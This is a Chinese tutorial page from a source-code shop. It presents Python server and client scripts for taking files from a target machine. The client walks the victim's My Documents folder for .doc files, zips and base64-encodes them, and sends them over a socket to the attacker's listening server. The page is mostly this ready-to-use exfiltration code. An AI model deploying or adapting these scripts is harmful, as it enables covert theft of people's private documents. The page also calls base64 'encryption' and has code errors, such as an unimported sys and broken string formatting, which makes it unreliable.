源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

python实现获取客户机上指定文件并传输到服务器的方法

  • 时间:2020-08-10 23:16 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:python实现获取客户机上指定文件并传输到服务器的方法
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下: 该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。 1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密 2、用zip压缩 3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可 4、本程序设置了获取doc文件,修改extName可以获取其它类型文件 [b]服务器端程序: [/b]
[u]复制代码[/u] 代码如下:
# -*- coding: cp936 -*- import socket import win32com.client import os import zipfile import codecs import base64 def main():     HOST = '127.0.0.1'     PORT = 2000     BUF_SIZE = 6553500 #6M     key = 'ouyang'     timeout = 5     dicName = "ouyang\\"     ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)     try:         ss.bind((HOST,PORT))         ss.listen(5)         print "wating for conntecting..."         while True:             try:                 cs,addr = ss.accept()                 socket.setdefaulttimeout(timeout)                 cs.send("200 Connected!")                 #获取加密数据                 encode_data = cs.recv(BUF_SIZE)                 #把数据写到out.zip文件                 tmpfile = open('out.tmp','wb')                 try:                     tmpfile.write(encode_data)                     tmpfile.close()                 except IOError,e:                     print 'Strange error creating IOError:%s' % e                      tmpfile.close()                 finally:                     tmpfile.close()                 #base64 decode 2进制 解密 decode(infile,outfile)                 tmpfile = open('out.tmp','rb')                 outfile = open('out.zip','wb')                 base64.decode(tmpfile,outfile)                 tmpfile.close()                 outfile.close()                 #打开zip文件                 zfile = zipfile.ZipFile('out.zip','r')                 #创建一个文件夹来存放获取的zip文件                 if not os.path.exists(dicName):                     os.mkdir(dicName)                 for f in zfile.namelist():                     data = zfile.read(f)                     file = open(dicName+os.path.basename(f),'w+b')                     file.write(data)                     file.close()                 print "finished!!!"                 zfile.close()                 #后续处理 删除临时文件                 os.remove('out.tmp')                 cs.close()             except socket.error, e:                  print 'Strange error creating socket:%s' % e                  cs.close()         ss.close()     except socket.error, e:         print 'Strange error creating socket:%s' % e          ss.close() if __name__=='__main__':     main()
[b]客户端程序: [/b]
[u]复制代码[/u] 代码如下:
# -*- coding: cp936 -*- import socket import win32com.client import win32api import os import time import zipfile import codecs import base64 def walk_dir(dir,filelist,extName,topdown=True):     for root, dirs, files in os.walk(dir, topdown):         for name in files:             if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                 filelist.append(os.path.join(root,name))              for name in dirs:             if (os.path.splitext(os.path.join(root,name)))[-1] == extName:                 filelist.append(os.path.join(root,name)) def main():           HOST = '127.0.0.1'     PORT = 2000     BUF_SIZE = 65535     key = 'ouyang'     dicName = "C:\Documents and Settings\Administrator\我的文档"     extName = '.doc'     #遍历搜索我的文档的doc类型     try:         filelist = []         walk_dir(dicName,filelist,extName)     except IOError,e:         print "文件处理错误: " % e         sys.exit(-1)     cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     try:         cs.connect((HOST,PORT))         print cs.recv(BUF_SIZE)         #压缩成zip文件         zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)         for f in filelist:             zfile.write(f)         zfile.close()         #base 2进制 加密 encode(infile,outfile)         infile = open('in.zip','rb')         tmpfile = open('in.tmp','wb')         base64.encode(infile,tmpfile)         infile.close()         tmpfile.close()         #send         tmpfile = open('in.tmp','rb')         cs.send(tmpfile.read())         tmpfile.close()         #后续处理 删除中间文件         os.remove('in.tmp')         cs.close()     except socket.error ,e:         print 'socket 出错啦:' % e         cs.close() if __name__=='__main__':     main()
希望本文所述对大家的Python程序设计有所帮助。
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部